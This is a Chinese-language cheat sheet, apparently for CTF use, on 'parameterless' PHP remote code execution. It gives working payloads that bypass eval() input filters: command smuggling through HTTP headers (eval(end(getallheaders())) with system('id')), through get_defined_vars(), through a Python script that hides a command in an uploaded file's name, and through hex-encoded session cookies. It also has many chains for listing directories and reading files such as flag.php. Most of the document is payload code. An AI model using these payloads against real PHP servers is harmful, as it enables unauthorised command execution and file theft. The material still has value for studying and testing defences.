Php 无参数rce
主要函数
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
current()-返回数组中的当前值
pos()-current() 的别名
读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
实例
<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport); // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport); // $mode = 'foot';
$mode = end($transport); // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';
$arr = array();
var_dump(current($arr)); // bool(false)
$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>
环境变量
var_dump(getenv(phpinfo()));
HTTP 请求标头
getallheaders():获取所有 HTTP 请求标头
apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用 传入?code=print_r(getallheaders());,数组返回 HTTP 请求头
POC1
使用end指向最后一个请求头,用其值进行rce
GET /1.php?code=eval(end(getallheaders())); HTTP/1.1
.....
flag: system('id');
POC2
此payload适用于php7以上版本
GET /1.php?exp=eval(end(apache_request_headers())); HTTP/1.1
....
flag: system('id');
全局变量
POC1
get_defined_vars():返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值
?code=eval(end(current(get_defined_vars())));&flag=system('ls');
POC2
?flag=system('id');&code=eval(pos(pos(get_defined_vars())));
poc3
而如果网站对$_GET,$_POST,$_COOKIE都做的过滤, 那我们只能从$_FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名
import requests
files = {
"system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))
session
适用于:php7以下的版本 ● session_start():启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id() ● session_id():获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)。
POC1
● show_source(session_id(session_start())); ● var_dump(file_get_contents(session_id(session_start()))) ● highlight_file(session_id(session_start())); ● readfile(session_id(session_start())); 抓包传入Cookie: PHPSESSID=(想读的文件)即可
GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag
POC2
**hex2bin()**函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用hex2bin()即可
先传入eval(hex2bin(session_id(session_start())));,然后抓包传入Cookie: PHPSESSID=(“system(‘命令’)“的十六进制)即可
GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b
读目录
查看当前目录文件名
print_r(scandir(current(localeconv())));
读取当前目录文件
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));
当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));
随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
payload解释: ● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。 ● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。 ● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名 ● dirname(chdir(dirname()))配合切换文件路径
查看和读取根目录文件
所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
解释
localeconv()函数返回的是一个数组,其中第一个元素是一个‘ . ’,呢就可以进行一些操作,比如scandir(.)查看当前目录文件,那么他是要配合current()函数的(current()函数返回当前数组的第一个单元)如图示:
那么可能会读出:
然后就是想办法去读取flag.php
readfile(array_rand(arrar_flip(scandir(current(localeconv())))));
highlight_file(next(array_reverse(scandir(current(localeconv())))));
1»利用array_flip()函数,作用是调换数组的键和值,那么flag.php就会变成键,然后用array_rand()函数随机返回键名(刷新 抽奖),然后用readfile()函数读取文件
2»> array_reverse() 函数返回翻转顺序的数组 ,next()返回迭代器的下一项,highlight()让选中的文件语法高亮
测试如下: